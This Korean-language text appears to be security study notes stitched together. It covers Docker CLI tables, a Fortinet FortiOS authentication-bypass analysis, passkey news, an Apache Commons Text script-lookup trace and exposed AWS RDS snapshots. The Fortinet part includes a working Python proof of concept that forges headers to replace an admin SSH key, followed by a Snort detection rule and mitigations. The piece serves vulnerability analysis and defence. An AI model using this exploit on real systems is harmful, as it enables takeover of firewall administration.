도커 이미지를 내려받고 컨테이너를 생성 실행 docker image pull, docker contauner create, docker container start 명령을 하나로 합친 것과 같음
O
--name
--name 컨테이너 이름 컨테이너 이름 지정
-p
-p 호스트 포트번호:컨테이너 포트번호 포트번호 지정
-v
-v 호스트 디스크:컨테이너 디렉터리 볼륨 마운트
--net
--net 네트워크 이름 컨테이너를 네트워크에 연결
-e
-e 환경변수 이름=값 환경변수 설정
-d
백그라운드 실행
-i
컨테이너에 터미널(키보드)을 연결
-t
특수 키를 사용 가능하도록 함
-help
사용 방법 안내
rm
정지 상태의 컨테이너 삭제
O
-f
실행 중인 컨테이너 강제 제거(SIGKILL 사용)
-v
컨테이너와 연결된 익명 볼륨 제거
exec
실행중인 컨테이너 속에서 프로그램을 실행
O
-i
컨테이너에 터미널(키보드)을 연결
-t
유사 TTY 할당
ls
컨테이너 목록 출력
O
-a
모든 컨테이너 목록 출력 CONTAINER ID : 식별자 IMAGE : 컨테이너 생성 시 사용한 이미지 이름 COMMAND : 컨테이너 실행 시에 실행하도록 설정된 프로그램 이름 CREATED : 컨테이너 생성 후 경과 시간 STATUS : 컨테이너의 현재 상태 PORTS : 컨테이너에 할당된 포트 NAMES : 컨테이너 이름
cp
도커 컨테이너와 도커 호스트 간 파일 복사
O
-
-
commit
도커 컨테이너를 이미지로 변환
O
-
-
3. 이미지 조작 관련 커맨드 (상위 커맨드 image)
- 이미지를 내려받거나 검색하는 등 이미지와 관련된 기능을 실행
- 생략 가능 커맨드는 "docker 하위 커맨드"로 실행 가능
- rm의 생략형은 rmi (예시 : docker rmi)
하위 커맨드
내용
생략 가능 여부
주요 옵션
설명
pull
이미지 내려 받기
O
-
-
rm
이미지 삭제
O
-
-
ls
이미지의 목록 출력
X
-
-
build
이미지 생성
O
-t
이름 및 선택적으로 'name:tag' 형식의 태그
4. 볼륨 조작 관련 커맨드 (상위 커맨드 volume)
- 볼륨 생성, 목록 확인, 삭제 등 볼륨과 관련된 기능을 실행
- 볼륨이란 컨테이너에 마운트 가능한 스토리지를 뜻함
하위 커맨드
내용
생략 가능 여부
주요 옵션
설명
create
볼륨 생성
X
--name
볼륨 이름 지정
inspect
볼륨의 상세 정보 출력
X
-
-
ls
볼륨의 목록 출력
X
-a
모든 볼륨 목록 출력
prune
현재 마운트되지 않은 볼륨 모두 삭제
X
-
-
rm
지정한 볼륨 삭제
X
-
-
5. 네트워크 조작 관련 커맨드(상위 커맨드 network)
- 도커 네트워크의 생성, 삭제, 컨테이너의 네트워크 접속 및 접속 해제 등 도커 네트워크와 관련된 기능을 실행
- 취햑한 버전의 Fortinet 제품 Fortinet FortiOS, FortiProxy, FortiSwitchManager에서 조작된 HTTP/HTTPS 요청을 통해 발생하는 인증 우회 취약점 (CVSS 9.8점)
- FortiOS : Fortigate 방화벽 및 스위치와 같은 하드웨어에서 사용되는 Fortinet의 리눅스 기반 운영 체제 - FortiProxy : 여러 가지 탐지 기술(웹 필터링, DNS 필터링, 데이터 손실 방지, 안티바이러스, 침입 방지 및 지능형 위협 보호)을 통합하여 인터넷에서 발생하는 공격으로부터 보호하는 웹 프록시 - FortiSwitchManager : FortiSwitch 템플릿과 VLAN을 중앙에서 관리하고 FortiGate 장치에 연결된 FortiSwitch 장치를 모니터링
취약 버전 ① FortiOS : 7.2.0 ~ 7.2.1 및 7.0.0 ~ 7.0.6 ② FortiProxy : 7.2.0 및 버전 7.0.0 ~ 7.0.6 ③ FortiSwitchManager : 7.0.0 및 7.2.0 * FortiOS version 5.x, 6.x는 영향받지 않음
2.1 공격 원리
- 먼저 GET 요청을 통해 Fortinet 어플라이언스가 있는지 확인
[사진 2] GET 요청 예시
- Fortinet 어플라이언스 존재 시(취약한 서버 확인 시) PUT 요청을 통해 admin의 SSH 키를 자신의 키로 수정
- 이때, User-Agent 헤더와 Forwarded헤더를 조작
[사진 3] PUT 요청 예시
- 공격자의 접근을 위한 로컬 사용자 추가
2.2 취약점 분석
- 전달된 헤더를 구문 분석하고 for 및 by 필드를 추출하여 Apache request_rec 구조에 연결
[사진 4] 헤더 구문 분석
- vdom 소켓 옵션이 신뢰할 수 있는지 확인하는 api_check_access_for_trusted_source 함수를 사용하지만 그 다음 is_trusted_ip_and_user_agent 함수로 넘어감.
[사진 5] api_check_access
- client_ip가 "127.0.01"이고 User-Agent 헤더가 두 번째 매개변수와 일치하는지 확인하는 함수
- 이 함수는 "Node.js"와 "Report Runner"의 두 가지 가능한 매개변수로 호출
- "Node.js" 경로는 추가 유효성 검사를 수행하는 것처럼 보이지만 "Report Runner"를 사용하면 인증을 우회하고 API 요청을 수행할 수 있음
[사진 6] is_trusted_ip_and_user_agent
2.3 PoC 분석
#!/usr/bin/python3
import argparse
import json
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
HEADERS = {
'User-Agent': 'Report Runner',
'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'
}
def format_key(key_file):
with open(key_file) as f:
k = f.read().strip()
return(k)
def add_key(target, username, key_file):
key = format_key(key_file)
j = {
"ssh-public-key1": '\"' + key + '\"'
}
url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
r = requests.put(url, headers=HEADERS, json=j, verify=False)
if 'SSH key is good' not in r.text:
print(f'[-] {target} is not vulnerable!')
else:
print(f'[+] SSH key for {username} added successfully!')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-u', '--username', help='The user to add an SSH key file for', required=True)
parser.add_argument('-k', '--key-file', help='The SSH key file', required=True)
args = parser.parse_args()
add_key(args.target, args.username, args.key_file)
- PoC를 확인해보면 다음을 확인해 볼 수 있음
① /api/v2/cmdb/system/admin URL로 요청이 이루어짐 : Fortinet 어플라이언스 여부 확인
② is_trusted_ip_and_user_agent 함수를 우회하기 위해 헤더값 조작 : Fowarded 헤더를 사용하여 공격자는 client_ip 를 "127.0.0.1" 및 User-Agent 가 "Report Runner" 설정
3. 대응방안
3.1 서버측면
① 최신 업데이트 적용
- FortiOS : 7.2.2 또는 7.0.7 -FortiProxy : 7.2.1 또는 7.0.7 -FortiSwitchManager : 7.2.1
- FG6000F, 7000E/F 시리즈 플랫폼의 경우 FortiOS 버전 7.0.5 B8001로 업데이트
② 즉시 보안 업데이트가 어려운 제품 사용자
- HTTP/HTTPS 관리 인터페이스 비활성화
- 관리 인터페이스에 도달할 수 있는 IP 제한 등 임시 조치를 권고
- 이 후 최신 버전으로 업데이트 필요
3.2 네트워크 측면
① PoC를 토대로 "/api/v2/cmdb/system/admin", "User-Agent: Report Runner", "127.0.0.1" 문자열이 포함된 경우 탐지하는 패턴을 등록함
alert tcp any any -> any any (msg:"Fortinet_Auth Bypass_Detected"; content:"/api/v2/cmdb/system/admin"; content:"|20|HTTP/"; content:"|0d 0a|User-Agent|3a| Report Runner"; content:"127.0.0.1";)
3.3 공통
① 로그 모니터링
-해당 취약점에 노출되었는지 확인
- 장치 로그에서 user=" Local_Process_Access", user_interface=" Node.js" 또는 user_interface=" Report Runner" 확인
- 비밀번호 : 네트워크, 장비, 계정 등 수많은 필수 요소들을 1차적으로 보호 - 많은 IT와 보안 전문가들은 이 비밀번호를 다른 것으로 대체해야 한다고 계속해서 주장 - 비밀번호 없는 세상이 더 안전하고 더 편리하며 더 나은 경험을 제공할 것이라고 예언
내용
- 애플, 구글, MS 등에서 브라우저, 플랫폼, OS들에 FIDO 패스키 기반 인증 시스템을 도입할 것이라 천명 - 비밀번호를 제거한다고 했을 때의 장점은 비밀번호와 관련된 사이버 공격이 줄어든다는 것 - 패스키라는 게 비밀번호를 완전히 대체하기 위해 고안된 것이지만, 생체 인증을 비롯해 다른 여러 가지 인증 기술들과 같이 사용되어야 하므로 협업과 노력이 필요
- 비밀번호가 예전처럼 주력 인증 수단이 아니라 예비 인증 수단 혹은 특수한 경우의 인증 수단으로서 한 발 물러나고 있지, 아예 죽어 없어지는 건 아니라는 뜻 - 즉, 비밀번호가 예전만큼 눈에 띄는 존재가 아니게 되는 것 ex) 장비나 데이터를 복구할 때, 혹은 예비 인증 수단, 모바일 폰을 켤 때 4자리 수 핀번호 등
- 비밀번호가 사라지는 게 아니라는 비밀번호 관리 프로그램의 사용량이 증가한다는 것 - 비밀번호의 대체제들이 본격적으로 자리를 잡는 건 2~5년 이후의 일일 것이라고 예측
- 준비사항 ① 조직이 소비자들에게 제공하는 서비스들 중 비밀번호를 필요로 하는 게 무엇인지, 그리고 조직이 다른 곳에서 제공받는 서비스들 중 비밀번호로 필요로 하는 게 무엇인지를 파악이 선행 ② 임직원들이 회사의 승인 없이 사용해 오던 여러 가지 서비스들이 무엇인지도 전부 알아내야 함 ③ 기업 내 각 구성원들의 생각을 파악 및 교육, 훈련 - 비밀번호 없는 체제를 완성시킨다 하더라도 구성원들의 행동 패턴들이 다 제각각이 될 것
비고
- 비밀번호를 사용자가 어렵게 만들고 기억하지 않아도 된다는 점에서 비밀번호가 아닌 다른 인증 수단을 주력으로 사용한다는 것에 장점 - 비밀번호 관리는 일반 직원들에게 적잖은 스트레스의 근원 - 비밀번호를 없앤다고 인증과 관련된 모든 위협들이 사라진다고 생각하면 오산 - 비밀번호가 없는 시대가 오더라도, 그 시대에 맞는 위협들이 새로 발명될 것
- StringSubstitutor.replace() 메서드에서 요청에 대한 첫번째 조치 수행을 위해 Substitut() 메소드 호출
public String replace(final String source) {
if (source == null) {
return null;
}
final TextStringBuilder buf = new TextStringBuilder(source);
if (!substitute(buf, 0, source.length())) {
return source;
}
return buf.toString();
- Substitut() 메소드는 ${} 문자열 분석을 위해 resolveVariable() 메소드 호출
[사진 10] Substitut() 메소드
protected String resolveVariable(final String variableName, final TextStringBuilder buf, final int startPos,
final int endPos) {
final StringLookup resolver = getStringLookup();
if (resolver == null) {
return null;
}
return resolver.lookup(variableName);
}
-resolveVariable() 메소드에서 얻은 StringLookup은 인스턴스화된 객체가 StringSubstitutor.createInterpolator()를 사용해 생성된 값임
- 그리고 생성자에서 this.setVariableResolver(variableResolver)를 호출하여 VariableResolver를 InterpolatorStringLookup 클래스로 설정한 후 계속해서 InterpolatorStringLookup의 lookup 메소드를 추적
- 해당 lookup 메소드는 ":" 앞의 스크립트 문자열을 가로채 이를 인덱스로 사용하여 해당하는 StringLookup 개체를 가져옴(지원하는 작업 유형은 18가지).
[사진 11] StringLookup 개체
@Override
public String lookup(String var) {
if (var == null) {
return null;
}
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = toKey(var.substring(0, prefixPos));
final String name = var.substring(prefixPos + 1);
final StringLookup lookup = stringLookupMap.get(prefix);
String value = null;
if (lookup != null) {
value = lookup.lookup(name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultStringLookup != null) {
return defaultStringLookup.lookup(var);
}
return null;
}
- ScriptStringLookup.lookup() 메서드 호출
@Override
public String lookup(final String key) {
if (key == null) {
return null;
}
final String[] keys = key.split(SPLIT_STR, 2);
final int keyLen = keys.length;
if (keyLen != 2) {
throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.",
key);
}
final String engineName = keys[0];
final String script = keys[1];
try {
final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);
if (scriptEngine == null) {
throw new IllegalArgumentException("No script engine named " + engineName);
}
return Objects.toString(scriptEngine.eval(script), null);
} catch (final Exception e) {
throw IllegalArgumentExceptions.format(e, "Error in script engine [%s] evaluating script [%s].", engineName,
script);
}
}
- js 스크립트 엔진을 가져와서 ScriptEngine.eval 메소드를 통해 코드를 실행
- 아마존의 클라우드 기반 데이터 백업 기능을 잘못 활용한 사용자들이, 자신도 모르게 개인정보(개인을 특정할 수 있을 만한 정보)를 인터넷에 노출시키는 중
내용
- ‘서비스형 플랫폼(Platform-as-a-Service)’인 아마존 RDS 서비스의 RDS 스냅샷(RDS Snapshot) 기능 - RDS : MySQL, PostgreSQL 등과 같은 여러 가지 엔진들을 기반으로 한 데이터베이스를 제공 - RDS 스냅샷(RDS Snapshot) ① 데이터베이스 인스턴스의 스토리지 볼륨 스냅샷을 남기는 기능으로, 사용자들은 이 기능을 통해 전체 공개 데이터나 템플릿 데이터베이스를 애플리케이션으로 전송해 공유 ② 역할이나 권한과 상관없이 편리하게 데이터를 주고 받는 데에 초점이 맞춰진 기능
- RDS 스냅샷들에서 개인 식별 정보가 발견되고 있으며, 그런 상태에서 ‘전체 공개’로 설정된 케이스가 발견 - 전체 : 2,783개 중 한달 공개 : 810개, 1~2일 공개 : 1,859개
- 클라우드 생태계의 가장 취약한 부분이 사람임을 다시 한 번 증명 - 일부 스냅샷의 내부 데이터에까지 접근할 수 있었음 - 식별 정보 없이 노출된 스냅샷도 있었으나, 충분한 시간만 주어진다면 특정 개인을 식별할 수 있음 ① 스냅샷을 통해 어떤 계정에 의해 생성 및 관리되는지 파악 가능 ② 스냅샷 메타데이터 MasterUsername 필드 : DB 사용자 이름이 저장 - 주로 관리자나 회사 이름이 기입
- DB가 전체 공개로 유지된 시간과, 그 기간 동안 발생한 다운로드 시도 회수에 대해 알 방법이 현재로서는 존재하지 않음
대응
- RDS 서비스를 사용하나 스냅샷이 전체 공개 되어 있는 사실을 인지하지 못하며, 점검 조차 하지않음 - 따라서 아마존이 해당 고객사에 연락을 취하거나, 고객사들의 발 빠른 대응이 요구됨
- 클라우드트레일(CloudTrail)이라는 로그를 점검해 어떤 스냅샷이 언제 누구에 의해 전체 공개로 전환되었는지 확인할 필요
- RDS 스냅샷이 전체 공개로 전환되는 일을 막으려면 그러한 전환의 권한을 소수의 관리자들에게만 부여하며, 관리자들 사이에서만 엄격하게 공유
